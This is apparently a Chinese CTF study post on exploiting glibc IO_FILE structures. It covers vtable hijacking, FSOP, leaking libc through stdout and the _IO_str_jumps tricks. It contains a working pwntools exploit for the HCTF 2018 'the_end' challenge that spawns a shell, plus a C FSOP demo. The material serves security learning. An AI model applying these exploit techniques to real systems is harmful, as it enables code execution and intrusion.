IO_File的利用

First Post:

Last Update:

Word Count:
2.2k

Read Time:
10 min

Page View: loading...

【PWN】IO_FILE的利用

此篇简单的学习一下IO_File的利用

IO_FILE 的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

IO_FILE实际上还包括在一个IO_FILE_plus中

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

IO_FILE_plus结构通过链表链接

    初始时形成以下顺序:

    _IO_list_all  -> _IO_2_1_stderr_ ->  _IO_2_1_stdout_  ->  _IO_2_1_stdin_

_IO_list_all 是一个链表头

后面三个文件是三个自动open的文件,它们的文件描述符为2,1,0

stdin对应0,所以我们也可以猜想平常写的read(0,xxx,xxx)与write(1,xxx,xxx)是何含义,我们的io输入输出被抽象成了文件输入输出

假设我们open file,其会被插入到链表头位置,类似我们之前学的fastbin 插入。

它们会存在哪里?

自动开启的三个文件结构(IO_FILE_plus)会被存放在libc中,后续手动开启的则会被分配在堆区。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.data:00000000003C56F8                 dq offset _IO_file_jumps  // vtables
.data:00000000003C5700 public stderr
.data:00000000003C5700 stderr dq offset _IO_2_1_stderr_
.data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o
.data:00000000003C5700 ; fclose+F2↑r ...
.data:00000000003C5708 public stdout
.data:00000000003C5708 stdout dq offset _IO_2_1_stdout_
.data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o
.data:00000000003C5708 ; fclose+E9↑r ...
.data:00000000003C5710 public stdin
.data:00000000003C5710 stdin dq offset _IO_2_1_stdin_
.data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o
.data:00000000003C5710 ; fclose:loc_6D340↑r ...
.data:00000000003C5718 dq offset sub_20B70
.data:00000000003C5718 _data ends
.data:00000000003C5718
.bss:00000000003C5720 ; ===========================================================================

那么什么是 *vtable项呢?

*vtable是一个指针,指向一个虚表。该虚表中存放了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf后面讲解执行流程章节会用到此处
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

我们还是随便打开一个程序,dbg看看它的示例吧

image.png

通过 p _IO_list_all 我们可以查看该符号的地址

p *(struct _IO_FILE_plus *) _IO_list_all

image.png

我们这里可以看到vtable项、fileno项与_chain项

_chain项指向下一个表,如stderr的chain的值就是stdout的地址,fileno存的就是该文件的文件描述符。

那么这个虚表是干什么的?

_IO_puts在过程当中调用了一个叫做_IO_sputn函数(_IO_fwrite也会调用这个),_IO_sputn其实是一个,它的作用就是调用_IO_2_1_stdout_中的vtable所指向的_xsputn,也就是_IO_new_file_xsputn函数

这个虚表存放在哪里?

这个虚表也存放在了data区,还记得上面有张图吧,其就在stderr的上面。

日常所用的输入输出函数会调用虚表中的函数

fread->_IO_XSGETN
fwrite->_IO_XSPUTN
fopen->malloc a new file struct->make file vtable->initialization file struct->puts initialzation file in file struct
fclose ->_IO_unlink_it->_IO_file_close_it->_IO_file_finish(_IO_FINISH)

如puts会调用虚表中的_xsputn,而经过一系列操作,最终会系统调用write。

利用_IO_2_1_stdout泄露libc

iofile的相关利用,有一个很重要的效果就是泄露libc。

设置flag位绕过检测

_flags = 0xFBAD1800

伪造 vtable 劫持程序流程
由于我们调用io函数时,其最终会指向vtable的函数。所以我们可以通过改变vtable对应项或改变vtable指针,使其指向可利用位置,再在相应位置填写目标函数。

在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。换言之,2.23及以后,只能通过修改vtable指针再进行利用了。

举例2018 HCTF the_end

image.png

由于sleep函数地址泄露,所以可以获得基址,于是得到偏移后虚表指针地址,one_gadget地址。

题目拥有5字节任意地址修改能力。

本题我们利用的是:

  • 在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable_setbuf 函数。

setbuf在虚表0x58偏移处。

所以我们覆盖虚表指针的数值为 伪造处地址-0x58

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = "debug",arch = "amd64")
filename='./the_end.the_end'
def connect():
global p,elf,libc
local = 1
if local:
p = process(['/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so', filename], env={"LD_PRELOAD":'/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'})
# p = process(filename)
else:
p = remote("node4.buuoj.cn", 25550)
elf = ELF(filename)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/mnt/hgfs/PWN/study_path/pwn_rm/pwn145_180/libc/64bit/libc-2.23.so")
# libc = ELF("/mnt/e/CTF/PWN/varctf/buuctf/exer/4/libc-2.27.so")
libc = ELF("/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda n :p.recv(n)
rl = lambda n :p.recvline(n)
ru = lambda x :p.recvuntil(x, drop=True)
r = lambda x :p.recv(x)
uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
itr = lambda :p.interactive()
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

def dbg(addr):
gdb.attach(sh,'b *0x{}\nc\n'.format(addr))

def db():
gdb.attach(p)

def change(addr1,byte):
s(p64(addr1))
s(p8(byte))

def pwn():
ru("here is a gift ")
sleep = int(ru(", "),16)
leak("sleep",sleep)
libc_addr = sleep - libc.sym["sleep"]
lg("libc_base",libc_addr)

one_gadget = libc_addr + 0xf1247
stdout_vtable_ptr = libc_addr + libc.sym['_IO_2_1_stdout_']+0xd8
stderr_vtable_ptr = libc_addr + libc.sym['_IO_2_1_stderr_']+0xd8
lg("one_gadget",one_gadget)
lg("stdout_vtable_ptr",stdout_vtable_ptr)
lg("stderr_vtable_ptr",stderr_vtable_ptr)

fake_vtable_addr = stderr_vtable_ptr - 0x58 # fake虚表的位置
lg("fake_vtable_addr",fake_vtable_addr)
change(stdout_vtable_ptr,(fake_vtable_addr & 0xff))
change(stdout_vtable_ptr+1,((fake_vtable_addr >> 8) & 0xff)) #劫持stdout结构体的虚表指针指向fake table的位置(_IO_2_1_stderr_+128)

change(stderr_vtable_ptr,(one_gadget & 0xff))
change(stderr_vtable_ptr+1,((one_gadget >> 8) & 0xff))
change(stderr_vtable_ptr+2,((one_gadget >> 16) & 0xff))

sl("exec /bin/sh 1>&0")

p.interactive()



connect()
pwn()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

stdout_vtable_ptr -> stderr_vtable_ptr - 0x58 (实际上是stderr_vtable_ptr虚表的位置)

stderr_vtable_ptr -> one_gadget

FSOP

File Stream Oriented Programming 面向文件流编程

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

触发该函数需要绕过

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

ctfwiki给的示例很简单,具体利用有house of orange,后面再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);
}

glibc 2.24 下 IO_FILE 的利用

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

fileno 与缓冲区的相关利用

由于fwrite等函数会最终调用io函数,其缓冲区的初地址有buf_base决定,所以如果修改buf_base与buf_end就可以实现任意地址输入。

_IO_str_jumps -> overflow

libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。如果我们能设置文件指针的 vtable_IO_str_jumps 么就能调用不一样的文件操作函数。

构造条件:

  1. fp->_flags & _IO_NO_WRITES为假
  2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. fp->_flags & _IO_USER_BUF(0x01)为假
  4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
  5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
  6. fp+0xe0指向system地址

_IO_str_jumps -> finish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 条件:

_IO_buf_base 不为空
_flags & _IO_USER_BUF(0x01) 为假
构造:

_flags = (binsh_in_libc + 0x10) & ~1

_IO_buf_base = binsh_addr

_freeres_list = 0x2

_freeres_buf = 0x3

_mode = -1

vtable = _IO_str_finish - 0x18

fp+0xe8 -> system_addr